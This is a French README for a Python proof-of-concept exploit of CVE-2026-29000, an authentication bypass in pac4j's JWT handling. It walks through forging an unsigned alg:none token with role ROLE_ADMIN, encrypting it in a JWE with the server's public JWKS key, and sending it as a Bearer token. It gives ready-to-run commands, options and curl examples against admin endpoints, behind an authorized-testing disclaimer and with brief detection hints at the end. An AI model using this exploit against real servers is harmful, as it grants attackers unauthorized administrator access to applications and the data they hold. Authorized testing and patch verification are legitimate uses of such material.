
POC Python, Exploit pour CVE-2026-29000
Preuve de concept pour CVE-2026-29000 - Une vulnérabilité critique de contournement d'authentification dans l'implémentation JWT de pac4j permettant aux attaquants de forger des jetons administrateur sans signature valide.
Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement. L'auteur décline TOUTE responsabilité en cas d'utilisation abusive, de dommages ou d'utilisation illégale de cet exploit.
Cette vulnérabilité exploite une faille dans le mécanisme d'authentification JWT de pac4j où la bibliothèque :
alg: "none" dans l'en-tête JWTUn attaquant peut créer un JWT non signé avec des revendications arbitraires (comme role: "ROLE_ADMIN"), le chiffrer dans un conteneur JWE en utilisant la clé publique du serveur, et obtenir un accès non autorisé à des fonctionnalités d'administration.
Pour que cet exploit réussisse, le serveur cible doit satisfaire TOUTES les conditions suivantes :
Le serveur doit exposer ses clés publiques via l'un de ces points d'accès :
/.well-known/jwks.json (point d'accès OAuth/OIDC standard)/api/auth/jwks (point d'accès personnalisé)Pourquoi : L'exploit récupère automatiquement la clé publique du serveur pour chiffrer le jeton JWE falsifié.
Le serveur doit :
role dans la charge utile JWTROLE_ADMIN)Rôles courants :
ROLE_ADMIN - Accès administrateur completROLE_USER - Accès utilisateur standardLe serveur doit :
L'application doit utiliser pac4j avec :
"none" ou validation d'algorithme inadéquaterequests, jwcrypto# Cloner le dépôt
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000
# Installer les dépendances
pip install -r requirements.txt
requests>=2.28.0
jwcrypto>=1.4.0
python3 exploit.py <URL_CIBLE>
Exemple :
python3 exploit.py http://vulnerable-app.local:8080
Le script va :
role: "ROLE_ADMIN"python3 exploit.py http://vulnerable-app.local:8080 --username john
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR
Si le point d'accès JWKS n'est pas accessible publiquement, fournissez le JWK manuellement :
python3 exploit.py http://vulnerable-app.local:8080 \
--jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'
python3 exploit.py http://vulnerable-app.local:8080 \
--username hacker \
--role ROLE_ADMIN \
--jwk '{"keys":[{...}]}'
L'exploit produit un jeton JWE au format suivant :
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...
Utilisez le jeton dans les requêtes HTTP pour accéder aux points d'accès protégés :
# Avec curl
curl -H "Authorization: Bearer <JETON_JWE>" \
http://vulnerable-app.local:8080/api/admin/dashboard
# Avec Python requests
import requests
headers = {"Authorization": f"Bearer {jeton_jwe}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
http://vulnerable-app.local:8080/api/users/list
header = {"alg": "none", "type": "JWT"}
payload = {
"sub": "admin", # Nom d'utilisateur
"role": "ROLE_ADMIN", # Niveau de privilège
"iss": "principal-platform", # Émetteur
"iat": 1234567890, # Émis à
"exp": 1234571490 # Expiration (1 heure)
}
Le JWT est créé sans signature (alg: "none"), ce qui est normalement invalide mais accepté par les serveurs vulnérables.
L'exploit interroge :
/.well-known/jwks.json (standard OAuth/OIDC)/api/auth/jwks (point d'accès personnalisé)Cela récupère la clé publique RSA du serveur nécessaire au chiffrement.
Le JWT non signé est chiffré en utilisant :
Cela crée un jeton JWE que le serveur peut déchiffrer mais dont il ne vérifiera pas la signature interne.
Le jeton JWE est inclus dans l'en-tête Authorization :
Authorization: Bearer <JETON_JWE>
Le serveur vulnérable le déchiffre et extrait le JWT non signé, en faisant confiance aux revendications sans vérifier la signature.
JWT non signé (alg:none)
↓
Enveloppé dans un JWE (avec la clé publique du serveur)
↓
Le serveur reçoit le jeton JWE
↓
Le serveur déchiffre le JWE
↓
Extrait le JWT interne non signé
↓
❌ Le serveur NE vérifie PAS la signature
↓
✅ Accepte les revendications comme valides (role: ROLE_ADMIN)
↓
L'attaquant a un accès administrateur !
Exposition du point d'accès JWKS
/.well-known/jwks.json ou /api/auth/jwks est accessible publiquementJournaux de validation JWT
alg: "none"Examen de la configuration